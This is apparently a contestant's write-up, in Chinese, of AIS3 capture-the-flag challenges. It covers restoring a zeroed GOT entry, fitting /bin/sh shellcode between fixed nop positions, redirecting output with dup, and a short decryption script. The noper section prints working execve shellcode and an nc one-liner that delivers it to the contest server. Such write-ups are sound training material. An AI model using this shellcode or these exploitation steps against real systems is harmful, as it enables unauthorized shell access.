# AIS3 write up ## Write me 一開始 systemgot 被填成 0,會沒辦法呼叫用 `system("/bin/sh")`,所以用 gdb看一下原本 systemgot 的數值,補回去就行了 ``` 0x404028 <system@got.plt>: 0x00401050 ``` ## noper 這一題會直接呼叫你的 shellcode,大小為 64 bytes,但 shellcode 的某些部份會被改成 nop,由於這題沒有用亂數種子初始化,所以每次執行被修改成 nop 的位址都是固定的,因此可以在不會被修改成 nop 的地方中塞入 shellcode,並在其他塞不下的地方補上 nop 就行了。 直接拿 shellstorm 提供的現成 shellcode 來用,使用 Execute /bin/sh,大小為 27 bytes 以下為被改成 nop 的位址,hexdump 之後長這樣 ``` 00000040: 0000 0000 0000 9000 0000 9000 0090 0000 00000050: 0090 0000 0000 0000 0000 0000 0000 0000 00000060: 0000 0000 0000 0090 0090 0000 9000 0000 00000070: 0000 0090 0000 0000 0000 0000 0000 0090 ``` 把 shellcode 塞進去之後並在塞不下的地方補上 nop 就長這樣 ``` 00000040: 31c0 9090 9090 9090 9090 9090 9090 9090 00000050: 9090 48bb d19d 9691 d08c 97ff 48f7 db53 00000060: 545f 9952 5754 5e90 9090 b03b 900f 0500 00000070: 0000 0090 0000 0000 0000 0000 0000 0090 ``` 最後把上面那一串打包好餵給程式就能 get shell 了 ``` $ echo '31c09090909090909090909090909090909048bbd19d9691d08c97ff48f7db53545f995257545e909090b03b900f0500' | xxd -r -p | nc quiz.ais3.org 5002 ``` ## Blind 正如其名,這一題把 stdout close 掉了,所以沒辦法看到 stdout 輸出結果,而題目只讓你呼叫一個系統呼叫,一開始是想重新開 stdout,藉由 `open('/dev/tty')` 達成,但這必須要寫入一個 buffer,只靠 4 個 64 bit 的參數時沒辦法做到的。 在瀏覽題目中其他檔案時得到了提示,因為這題在 server 執行的環境沒有擋掉 stderr,因此可以用 dup 系統呼叫複製 stderr 到 file descriptor 編號 1,這樣一來原本輸出到 fd 1 的字串就會重新導向到 stderr,就能拿到 flag 了。 ``` $ ./stdout You can call a system call, then I will open the flag for you. Input: [rax] [rdi] [rsi] [rdx] 33 2 1 0 AIS3{test flag} ``` <br> ## microchip 這一題只是簡單的 crypto 題目,但我卻被小地方卡題了很久,原來 python 的 print 中如果有兩個參數,中間會補一個空格,害我一直以為 cipertext 的第一個字元是空格。 首先把 keys 求出來,因為已經知道 flag 前四個字元是 AIS3,稍微算一下就能求出 keys,最後寫一個 decrypt 的程式把加密的過程反向就能算出 flag 了。 ```python cipertext = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu" # for c in cipertext: keys = [10, 87, 42, 69] result = "" for i in range(0, len(cipertext), 4): nums = list() for j in reversed(range(4)): num = ord(cipertext[i + j]) - 32 num = num - keys[j] if num < 0: num += 96 nums.append(chr(num+32)) result += ''.join(nums) print(result) ```